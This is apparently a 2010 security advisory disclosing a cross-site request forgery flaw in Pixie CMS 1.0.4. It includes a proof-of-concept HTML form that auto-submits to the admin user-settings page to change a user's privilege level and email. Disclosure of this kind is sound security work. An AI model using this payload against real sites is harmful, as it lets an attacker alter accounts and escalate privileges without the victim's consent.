XSRF (CSRF) in Pixie

Vulnerability ID:HTB22471
Product:Pixie
Vendor:Toggle Labs Ltd ( http://www.getpixie.co.uk/ )
Vulnerable Version:1.0.4 and Probably Prior Versions
Vendor Notification:01 July 2010
Public Disclosure:15 July 2010
Vulnerability Type:CSRF (Cross-Site Request Forgery)
Status:Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level:Low
Credit:High-Tech Bridge SA

Vulnerability Details:

The vulnerability exists due to failure in the user privilieges script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:
<form accept-charset="UTF-8" action="http://host/admin/index.php?s=settings&amp;x=users" method="post" name="main" >
<input type="hidden" name="uname" value="test" />
<input type="hidden" name="realname" value="test name2" />
<input type="hidden" name="email" value="myemail@myemaildomain.com" />
<input type="submit" name="user_edit" id="sbmtit" value="Update" />
<input type="hidden" name="privilege" value="2" />
<input type="hidden" name="user_id" value="2" />

</form>
<script>
document.getElementById('sbmtit').click();
</script>

Solution:

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